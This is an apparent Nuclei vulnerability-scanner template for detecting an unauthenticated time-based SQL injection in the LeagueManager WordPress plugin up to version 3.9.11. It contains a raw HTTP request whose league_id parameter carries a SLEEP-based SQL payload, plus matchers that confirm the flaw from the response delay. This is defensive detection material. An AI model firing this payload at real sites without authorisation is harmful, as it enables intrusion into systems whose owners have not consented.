id: leaguemanager-sql-injection

info:
  name: LeagueManager <= 3.9.11 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    The plugin does not sanitise and escape a parameter before using it in a SQL statement via an AJAX action (available to unauthenticated users), leading to an SQL injection.
  reference:
    - https://wpscan.com/vulnerability/f3be48f5-ae2c-4e27-80ca-664829b8fba3
    - https://wordpress.org/plugins/leaguemanager/
  metadata:
    verified: true
    max-request: 1
  tags: time-based-sqli,wpscan,sqli,wp,wp-plugin,wordpress,leaguemanager,unauth

http:
  - raw:
      - |
        @timeout: 10s
        GET /?season=1&league_id=1season=1&league_id=1'+AND+(SELECT+1909+FROM+(SELECT(SLEEP(6)))ZiBf)--+qODp&match_day=1&team_id=1&match_day=1&team_id=1 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "LeagueManagerAjaxL10n")'
        condition: and
# digest: 4a0a00473045022001634c059642e3d7998b0b9d70451bb0123e4ca15007cfcddfa3b69241788f82022100f9b6234074980af1de88cce0df5c451fd6c4e7ba5f1e4d0a064d60de364bb99e:922c64590222798bb761d5b6d8e72950